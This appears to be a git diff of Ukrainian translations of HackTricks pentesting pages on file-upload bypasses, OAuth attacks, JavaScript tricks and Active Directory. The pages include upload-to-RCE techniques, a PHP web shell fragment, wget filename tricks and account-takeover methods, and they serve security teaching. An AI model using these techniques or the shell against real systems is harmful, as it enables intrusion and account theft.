6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
- Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли його випадково відкриє жертва.
- Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою.
### Special extension tricks
@ -98,15 +98,15 @@ AAA<--SNIP 232 A-->AAA.php.png
## **Jetty RCE**
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати [RCE, оскільки **нові \*.xml і \*.war автоматично обробляються**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як зазначено на наступному зображенні, завантажте XML файл до `$JETTY_BASE/webapps/` і чекайте оболонку!
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати [RCE, оскільки **нові \*.xml та \*.war автоматично обробляються**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як зазначено на наступному зображенні, завантажте XML файл до `$JETTY_BASE/webapps/` і чекайте оболонку!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Для детального вивчення цієї вразливості ознайомтеся з оригінальним дослідженням: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Вразливості віддаленого виконання команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
Вразливості віддаленого виконання команд (RCE) можуть бути експлуатовані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
Розгляньте наступний приклад шкідливого файлу `uwsgi.ini`, що демонструє різні схеми:
```ini
@ -128,12 +128,12 @@ characters = @(call://uwsgi_func)
```
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та проаналізована, процес uWSGI повинен бути перезапущений (можливо, після збою або через атаку відмови в обслуговуванні) або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл через певні інтервали при виявленні змін.
Важливо зрозуміти м'який характер парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
Важливо зрозуміти м'яку природу парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
## **wget File Upload/SSRF Trick**
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **ця перевірка може бути обійдена.**\
Максимальна довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,11 +156,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Зверніть увагу, що **інший варіант**, про який ви можете думати, щоб обійти цю перевірку, - це зробити так, щоб **HTTP сервер перенаправляв на інший файл**, тому початковий URL обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це **не спрацює** **якщо** wget не використовується з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з назвою файлу, вказаною в оригінальному URL**.
Зверніть увагу, що **інший варіант**, про який ви можете думати, щоб обійти цю перевірку, - це зробити так, щоб **HTTP сервер перенаправляв на інший файл**, тому початкова URL-адреса обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це **не спрацює** **якщо** wget не використовується з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з назвою файлу, вказаною в оригінальній URL-адресі**.
## Інструменти
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) - це потужний інструмент, розроблений для допомоги Pentesters та Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) - це потужний інструмент, розроблений для допомоги пентестерам та шукачам вразливостей у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
## Від завантаження файлів до інших вразливостей
@ -178,7 +178,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**XXE та CORS** обхід з завантаженням PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити PDF дані для отримання виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок.
- Завантажте \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) вміст, щоб перевірити, чи є на сервері якийсь **антивірус**
- Перевірте, чи є якийсь **обмеження за розміром** при завантаженні файлів
- Перевірте, чи є якийсь **ліміт розміру** при завантаженні файлів
Ось топ-10 речей, які ви можете досягти, завантажуючи (з [тут](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -251,7 +251,7 @@ create_zip()
```
**Зловживання стисненням для спрейінгу файлів**
Для отримання додаткової інформації **перегляньте оригінальний пост у**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Для отримання додаткової інформації **перегляньте оригінальну публікацію в**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Створення PHP Shell**: PHP код написаний для виконання команд, переданих через змінну `$_REQUEST`.
@ -263,7 +263,7 @@ system($cmd);
}?>
```
2. **Спрайінг файлів та створення стисненого файлу**: Створюється кілька файлів, і збирається zip-архів, що містить ці файли.
2. **Спрайінг файлів та створення стиснутого файлу**: Створюється кілька файлів, і збирається zip-архів, що містить ці файли.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done

View File

@ -13,15 +13,15 @@ OAuth пропонує різні версії, з основними відом
- **власник ресурсу**: Ви, як **користувач/суб'єкт**, авторизуєте доступ до вашого ресурсу, наприклад, до публікацій у вашому обліковому записі соціальних мереж.
- **сервер ресурсу**: **сервер, що управляє аутентифікованими запитами** після того, як додаток отримав `access token` від імені `власника ресурсу`, наприклад, **https://socialmedia.com**.
- **клієнтський додаток**: **додаток, що запитує авторизацію** у `власника ресурсу`, наприклад, **https://example.com**.
- **сервер авторизації**: **сервер, що видає `access tokens`** для `клієнтського додатку` після успішної аутентифікації `власника ресурсу` та отримання авторизації, наприклад, **https://socialmedia.com**.
- **сервер авторизації**: **сервер, що видає `access tokens`** клієнтському додатку після успішної аутентифікації `власника ресурсу` та отримання авторизації, наприклад, **https://socialmedia.com**.
- **client_id**: Публічний, унікальний ідентифікатор для додатку.
- **client_secret:** Конфіденційний ключ, відомий лише додатку та серверу авторизації, що використовується для генерації `access_tokens`.
- **response_type**: Значення, що вказує **тип запитуваного токена**, наприклад, `code`.
- **scope**: **рівень доступу**, який `клієнтський додаток` запитує у `власника ресурсу`.
- **redirect_uri**: **URL, на який користувач перенаправляється після авторизації**. Це зазвичай повинно відповідати попередньо зареєстрованому URL перенаправлення.
- **state**: Параметр для **збереження даних під час перенаправлення користувача до та з сервера авторизації**. Його унікальність є критично важливою для виконання функції **механізму захисту від CSRF**.
- **state**: Параметр для **збереження даних під час перенаправлення користувача до та з сервера авторизації**. Його унікальність є критично важливою для виконання **механізму захисту від CSRF**.
- **grant_type**: Параметр, що вказує **тип гранту та тип токена, що повертається**.
- **code**: Код авторизації від `сервера авторизації`, що використовується разом з `client_id` та `client_secret` клієнтським додатком для отримання `access_token`.
- **code**: Код авторизації з `сервера авторизації`, що використовується разом з `client_id` та `client_secret` клієнтським додатком для отримання `access_token`.
- **access_token**: **токен, який клієнтський додаток використовує для API запитів** від імені `власника ресурсу`.
- **refresh_token**: Дозволяє додатку **отримати новий `access_token` без повторного запиту у користувача**.
@ -30,7 +30,7 @@ OAuth пропонує різні версії, з основними відом
**Фактичний потік OAuth** відбувається наступним чином:
1. Ви переходите на [https://example.com](https://example.com) і вибираєте кнопку “Інтегрувати з соціальними мережами”.
2. Сайт надсилає запит на [https://socialmedia.com](https://socialmedia.com), просячи вашу авторизацію для надання доступу додатку https://example.com до ваших публікацій. Запит структурований як:
2. Сайт надсилає запит на [https://socialmedia.com](https://socialmedia.com), просячи вашу авторизацію для надання доступу до публікацій додатку https://example.com. Запит структурований як:
```
https://socialmedia.com/auth
?response_type=code
@ -39,7 +39,7 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. Вам буде представлена сторінка згоди.
3. Вам буде представлено сторінку згоди.
4. Після вашого схвалення, Social Media надсилає відповідь на `redirect_uri` з параметрами `code` та `state`:
```
https://example.com?code=uniqueCode123&state=randomString123
@ -56,9 +56,9 @@ Host: socialmedia.com
### Відкритий redirect_uri <a href="#cc36" id="cc36"></a>
`redirect_uri` є критично важливим для безпеки в реалізаціях OAuth та OpenID, оскільки він вказує, куди надсилаються чутливі дані, такі як коди авторизації, після авторизації. Якщо він неправильно налаштований, це може дозволити зловмисникам перенаправляти ці запити на шкідливі сервери, що дозволяє здійснити захоплення облікового запису.
`redirect_uri` є критично важливим для безпеки в реалізаціях OAuth та OpenID, оскільки він вказує, куди надсилаються чутливі дані, такі як коди авторизації, після авторизації. Якщо він неправильно налаштований, це може дозволити зловмисникам перенаправляти ці запити на шкідливі сервери, що дозволяє захоплення облікових записів.
Методи експлуатації варіюються в залежності від логіки валідації авторизаційного сервера. Вони можуть коливатися від суворого співпадіння шляхів до прийняття будь-якого URL в межах вказаного домену або підкаталогу. Загальні методи експлуатації включають відкриті редиректи, обходження шляхів, експлуатацію слабких регулярних виразів та HTML-ін'єкцію для крадіжки токенів.
Методи експлуатації варіюються в залежності від логіки валідації авторизаційного сервера. Вони можуть коливатися від суворого співпадіння шляхів до прийняття будь-якого URL в межах вказаного домену або підкаталогу. Загальні методи експлуатації включають відкриті редиректи, обходи шляхів, використання слабких регулярних виразів та HTML-ін'єкції для крадіжки токенів.
Окрім `redirect_uri`, інші параметри OAuth та OpenID, такі як `client_uri`, `policy_uri`, `tos_uri` та `initiate_login_uri`, також підлягають атакам редиректу. Ці параметри є необов'язковими, і їх підтримка варіюється між серверами.
@ -70,26 +70,26 @@ Host: socialmedia.com
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - Неправильна обробка параметра стану <a href="#bda5" id="bda5"></a>
### CSRF - Неправильна обробка параметра state <a href="#bda5" id="bda5"></a>
У реалізаціях OAuth неправильне використання або пропуск параметра **`state`** може значно підвищити ризик атак **Cross-Site Request Forgery (CSRF)**. Ця вразливість виникає, коли параметр `state` або **не використовується, використовується як статичне значення, або не перевіряється належним чином**, що дозволяє зловмисникам обходити захист CSRF.
Зловмисники можуть скористатися цим, перехоплюючи процес авторизації, щоб зв'язати свій обліковий запис з обліковим записом жертви, що може призвести до потенційних **взломів облікових записів**. Це особливо критично в додатках, де OAuth використовується для **автентифікаційних цілей**.
Реальні приклади цієї вразливості були задокументовані в різних **CTF викликах** та **хакерських платформах**, підкреслюючи її практичні наслідки. Проблема також поширюється на інтеграції з сторонніми сервісами, такими як **Slack**, **Stripe** та **PayPal**, де зловмисники можуть перенаправляти сповіщення або платежі на свої облікові записи.
Приклади цієї вразливості в реальному світі були задокументовані в різних **CTF викликах** та **хакерських платформах**, підкреслюючи її практичні наслідки. Проблема також поширюється на інтеграції з сторонніми сервісами, такими як **Slack**, **Stripe** та **PayPal**, де зловмисники можуть перенаправляти сповіщення або платежі на свої облікові записи.
Належна обробка та перевірка параметра **`state`** є критично важливими для захисту від CSRF та забезпечення безпеки потоку OAuth.
### Перед взломом облікового запису <a href="#ebe4" id="ebe4"></a>
1. **Без перевірки електронної пошти при створенні облікового запису**: Зловмисники можуть заздалегідь створити обліковий запис, використовуючи електронну пошту жертви. Якщо жертва пізніше використовує сторонній сервіс для входу, додаток може ненавмисно зв'язати цей сторонній обліковий запис з попередньо створеним обліковим записом зловмисника, що призведе до несанкціонованого доступу.
2. **Використання слабкої перевірки електронної пошти в OAuth**: Зловмисники можуть скористатися сервісами OAuth, які не перевіряють електронні адреси, зареєструвавшись у їхньому сервісі, а потім змінивши електронну адресу облікового запису на електронну адресу жертви. Цей метод також несе ризик несанкціонованого доступу до облікового запису, подібно до першого сценарію, але через інший вектор атаки.
2. **Використання слабкої перевірки електронної пошти в OAuth**: Зловмисники можуть скористатися сервісами OAuth, які не перевіряють електронні адреси, зареєструвавшись у їхньому сервісі, а потім змінивши електронну пошту облікового запису на електронну пошту жертви. Цей метод також несе ризик несанкціонованого доступу до облікового запису, подібно до першого сценарію, але через інший вектор атаки.
### Розкриття секретів <a href="#e177" id="e177"></a>
Визначення та захист секретних параметрів OAuth є критично важливими. Хоча **`client_id`** можна безпечно розкривати, розкриття **`client_secret`** несе значні ризики. Якщо `client_secret` буде скомпрометовано, зловмисники можуть скористатися ідентичністю та довірою додатка, щоб **вкрасти `access_tokens`** та приватну інформацію.
Визначення та захист секретних параметрів OAuth є критично важливими. Хоча **`client_id`** можна безпечно розкривати, розкриття **`client_secret`** несе значні ризики. Якщо `client_secret` буде скомпрометовано, зловмисники можуть скористатися ідентичністю та довірою додатка, щоб **вкрасти `access_tokens`** користувачів та приватну інформацію.
Загальна вразливість виникає, коли додатки помилково обробляють обмін авторизаційним `code` на `access_token` на стороні клієнта, а не на стороні сервера. Ця помилка призводить до розкриття `client_secret`, що дозволяє зловмисникам генерувати `access_tokens` під виглядом додатка. Більше того, через соціальну інженерію зловмисники можуть підвищити привілеї, додаючи додаткові області до авторизації OAuth, ще більше експлуатуючи довірений статус додатка.
Загальна вразливість виникає, коли додатки помилково обробляють обмін авторизаційного `code` на `access_token` на стороні клієнта, а не на стороні сервера. Ця помилка призводить до розкриття `client_secret`, що дозволяє зловмисникам генерувати `access_tokens` під виглядом додатка. Більше того, через соціальну інженерію зловмисники можуть підвищити привілеї, додаючи додаткові області до авторизації OAuth, ще більше експлуатуючи довірений статус додатка.
### Брутфорс секрету клієнта
@ -118,7 +118,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### Authorization/Refresh Token not bound to client
Якщо ви можете отримати **код авторизації і використати його з іншим клієнтом, то ви можете захопити інші акаунти**.
Якщо ви можете отримати **код авторизації і використати його з іншим клієнтом, то ви можете захопити інші облікові записи**.
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito <a href="#bda5" id="bda5"></a>
У цьому звіті про баг-баунті: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) ви можете побачити, що **токен**, який **AWS Cognito** повертає користувачу, може мати **достатньо прав для переписування даних користувача**. Тому, якщо ви можете **змінити електронну пошту користувача на іншу електронну пошту**, ви можете **захопити** акаунти інших.
У цьому звіті про баг-баунті: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) ви можете побачити, що **токен**, який **AWS Cognito** повертає користувачу, може мати **достатньо прав для переписування даних користувача**. Тому, якщо ви можете **змінити електронну пошту користувача на іншу електронну пошту**, ви можете **захопити** інші облікові записи.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -166,16 +166,16 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
### Обхід взаємодії з підказкою <a href="#bda5" id="bda5"></a>
Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), деякі реалізації OAuth дозволяють вказати параметр **`prompt`** GET як None (**`&prompt=none`**), щоб **запобігти запитам до користувачів на підтвердження** наданого доступу в підказці в вебі, якщо вони вже увійшли на платформу.
Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), деякі реалізації OAuth дозволяють вказати GET параметр **`prompt`** як None (**`&prompt=none`**), щоб **запобігти запитам до користувачів на підтвердження** наданого доступу в підказці в вебі, якщо вони вже увійшли на платформу.
### response_mode
Як [**пояснено в цьому відео**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), можливо вказати параметр **`response_mode`**, щоб вказати, де ви хочете, щоб код був наданий у фінальному URL:
- `response_mode=query` -> Код надається всередині GET параметра: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Код надається всередині фрагмента URL параметра `#code=2397rf3gu93f`
- `response_mode=fragment` -> Код надається всередині фрагменту URL параметра `#code=2397rf3gu93f`
- `response_mode=form_post` -> Код надається всередині POST форми з полем введення, названим `code`, і значенням
- `response_mode=web_message` -> Код надсилається в повідомленні: `window.opener.postMessage({"code": "asdasdasd...`
- `response_mode=web_message` -> Код надсилається в пост-повідомленні: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC потік - обхід 2 FA <a href="#b440" id="b440"></a>
@ -202,14 +202,14 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
- Ця функція відповідає специфікаціям, викладеним у **RFC7591** та **OpenID Connect Registration 1.0**, які включають параметри, потенційно вразливі до SSRF.
- Процес реєстрації може ненавмисно піддавати сервери SSRF кількома способами:
- **`logo_uri`**: URL для логотипу клієнтського додатку, який може бути отриманий сервером, викликаючи SSRF або призводячи до XSS, якщо URL обробляється неправильно.
- **`jwks_uri`**: URL до документа JWK клієнта, який, якщо зловмисно створений, може змусити сервер здійснити вихідні запити до сервера, контрольованого зловмисником.
- **`jwks_uri`**: URL до документа JWK клієнта, який, якщо його зловмисно створити, може змусити сервер здійснити вихідні запити до сервера, контрольованого зловмисником.
- **`sector_identifier_uri`**: Посилається на JSON масив `redirect_uris`, які сервер може отримати, створюючи можливість SSRF.
- **`request_uris`**: Перераховує дозволені запитувані URI для клієнта, які можуть бути використані, якщо сервер отримує ці URI на початку процесу авторизації.
**Стратегія експлуатації:**
- SSRF може бути ініційовано реєстрацією нового клієнта з зловмисними URL в параметрах, таких як `logo_uri`, `jwks_uri` або `sector_identifier_uri`.
- Хоча пряма експлуатація через `request_uris` може бути зменшена за допомогою контролю білого списку, надання попередньо зареєстрованого, контрольованого зловмисником `request_uri` може полегшити SSRF під час фази авторизації.
- Хоча пряма експлуатація через `request_uris` може бути пом'якшена контролем білого списку, надання попередньо зареєстрованого, контрольованого зловмисником `request_uri` може полегшити SSRF під час фази авторизації.
## Умови гонки постачальників OAuth

View File

@ -121,7 +121,12 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
```
### `javascript{}:` Протокол Фаззинг
Більше інформації:
- [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
- [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### `javascript{}:` Протокол Фаззингу
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
log=[];
@ -188,7 +193,7 @@ console.log(log) //33,45,62
```
## **Аналіз атрибутів**
The tool **Hackability inspector** from Portswigger helps to **analyze** the **атрибути** of a javascript object. Check: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
The tool **Hackability inspector** from Portswigger helps to **analyze** the **атрибутів** of a javascript object. Check: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map js файли**
@ -197,7 +202,7 @@ The tool **Hackability inspector** from Portswigger helps to **analyze** the **
## "--" Присвоєння
The decrement operator `--` is also an asignment. This operator takes a value and then decrements it by one. If that value is not a number, it will be set to `NaN`. This can be used to **видалити вміст змінних з середовища**.
The decrement operator `--` is also an asignment. This operator takes a value and then decrements it by one. If that value is not a number, it will be set to `NaN`. This can be used to **remove the content of variables from the environment**.
![](<../../images/image (993).png>)
@ -264,7 +269,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
Отже, більшість попередніх функцій насправді марні, оскільки ми їх ніде не зберігаємо, щоб зберегти та викликати їх. Приклад створення функції `plusone`:
Отже, більшість попередніх функцій насправді марні, оскільки ми їх ніде не зберігаємо, щоб зберегти та викликати. Приклад створення функції `plusone`:
```javascript
// Traductional
function plusone(a) {
@ -276,7 +281,7 @@ plusone = (a) => a + 100
```
### Bind function
Функція bind дозволяє створити **копію** **функції, модифікуючи** об'єкт **`this`** та **параметри**, що передаються.
Функція bind дозволяє створити **копію** **функції, модифікуючи** **об'єкт `this`** та **параметри**, що передаються.
```javascript
//This will use the this object and print "Hello World"
var fn = function (param1, param2) {
@ -345,7 +350,7 @@ return String(this)
```
## Sandbox Escape - Відновлення об'єкта window
Об'єкт Window дозволяє отримати доступ до глобально визначених функцій, таких як alert або eval.
Об'єкт Window дозволяє отримувати доступ до глобально визначених функцій, таких як alert або eval.
```javascript
// Some ways to access window
window.eval("alert(1)")

View File

@ -25,7 +25,7 @@
>
> - **Дуже дякую за ці ресурси, як я можу вас подякувати?**
Ви можете публічно подякувати командам HackTricks за те, що зібрали всі ці ресурси публічно в твітті, згадавши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Ви можете публічно подякувати командам HackTricks за те, що зібрали всі ці ресурси публічно в твітті, згадуючи [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Якщо ви особливо вдячні, ви також можете [**підтримати проект тут**](https://github.com/sponsors/carlospolop).\
І не забудьте **поставити зірку в проектах Github!** (Знайдіть посилання нижче).
@ -44,14 +44,14 @@
>
> - **Чи можу я скопіювати деякий контент з HackTricks і розмістити його в своєму блозі?**
Так, ви можете, але **не забудьте вказати конкретне посилання(я),** звідки був взятий контент.
Так, ви можете, але **не забудьте згадати конкретне посилання(я),** звідки був взятий контент.
> [!TIP]
>
> - **Як я можу цитувати сторінку HackTricks?**
Досить, щоб з'явилося посилання **на** сторінку(і), звідки ви взяли інформацію.\
Якщо вам потрібен bibtex, ви можете використовувати щось на кшталт:
Якщо вам потрібен bibtex, ви можете використати щось на кшталт:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -76,9 +76,9 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
Якщо ви вважаєте, що книги HackTricks створені для **комерційних цілей**, ви **ЦІЛКОМ ПОМИЛЯЄТЕСЬ**.
У нас є спонсори, тому що, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо **надати спільноті можливість оцінити нашу роботу**, якщо вони цього хочуть. Тому ми пропонуємо людям можливість донатити HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідним компаніям з кібербезпеки** спонсорувати HackTricks і **мати деякі оголошення** в книзі, при цьому **оголошення** завжди розміщуються в місцях, де вони **видимі**, але **не заважають процесу навчання**, якщо хтось зосереджується на контенті.
У нас є спонсори, тому що, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо **надати спільноті можливість оцінити нашу роботу**, якщо вони цього хочуть. Тому ми пропонуємо людям можливість донатити HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідні компанії з кібербезпеки** спонсорувати HackTricks і **мати деякі оголошення** в книзі, при цьому **оголошення** завжди розміщуються в місцях, де вони **видимі**, але **не заважають процесу навчання**, якщо хтось зосереджується на контенті.
Ви не знайдете HackTricks, заповнені набридливими оголошеннями, як інші блоги з набагато меншою кількістю контенту, тому що HackTricks не створено для комерційних цілей.
Ви не знайдете HackTricks, заповнені набридливими оголошеннями, як інші блоги з набагато меншою кількістю контенту, оскільки HackTricks не створено для комерційних цілей.
> [!CAUTION]
>
@ -92,7 +92,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks:
- Покращує ваш **SEO**
- Покращує ваше **SEO**
- Контент **перекладається на більше ніж 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього контенту
- **HackTricks заохочує** людей **перевіряти вашу сторінку** (декілька людей згадували нам, що з тих пір, як деяка їхня сторінка є в HackTricks, вони отримують більше відвідувань)
@ -111,12 +111,12 @@ Copyright © Усі права захищені, якщо не вказано і
#### Підсумок ліцензії:
- Attribution: Ви вільні:
- Share — копіювати та перерозподіляти матеріал у будь-якому середовищі або форматі.
- Share — копіювати та розповсюджувати матеріал в будь-якому середовищі або форматі.
- Adapt — реміксувати, трансформувати та розвивати матеріал.
#### Додаткові умови:
- Контент третіх сторін: Деякі частини цього блогу/книги можуть містити контент з інших джерел, такі як уривки з інших блогів або публікацій. Використання такого контенту здійснюється відповідно до принципів добросовісного використання або з явним дозволом відповідних правовласників. Будь ласка, зверніться до оригінальних джерел для отримання конкретної інформації про ліцензування щодо контенту третіх сторін.
- Контент третіх сторін: Деякі частини цього блогу/книги можуть містити контент з інших джерел, таких як уривки з інших блогів або публікацій. Використання такого контенту здійснюється відповідно до принципів добросовісного використання або з явним дозволом відповідних правовласників. Будь ласка, зверніться до оригінальних джерел для отримання конкретної інформації про ліцензування щодо контенту третіх сторін.
- Авторство: Оригінальний контент, створений HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати цю роботу автору при її поширенні або адаптації.
#### Винятки:

View File

@ -4,9 +4,9 @@
## Basic overview
**Active Directory** служить основною технологією, що дозволяє **мережевим адміністраторам** ефективно створювати та управляти **доменами**, **користувачами** та **об'єктами** в межах мережі. Вона спроектована для масштабування, полегшуючи організацію великої кількості користувачів у керовані **групи** та **підгрупи**, контролюючи **права доступу** на різних рівнях.
**Active Directory** служить основною технологією, що дозволяє **мережевим адміністраторам** ефективно створювати та керувати **доменами**, **користувачами** та **об'єктами** в межах мережі. Вона спроектована для масштабування, полегшуючи організацію великої кількості користувачів у керовані **групи** та **підгрупи**, контролюючи **права доступу** на різних рівнях.
Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, взаємопов'язаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Специфічні **права доступу** та **права на зв'язок** можуть бути призначені на кожному з цих рівнів.
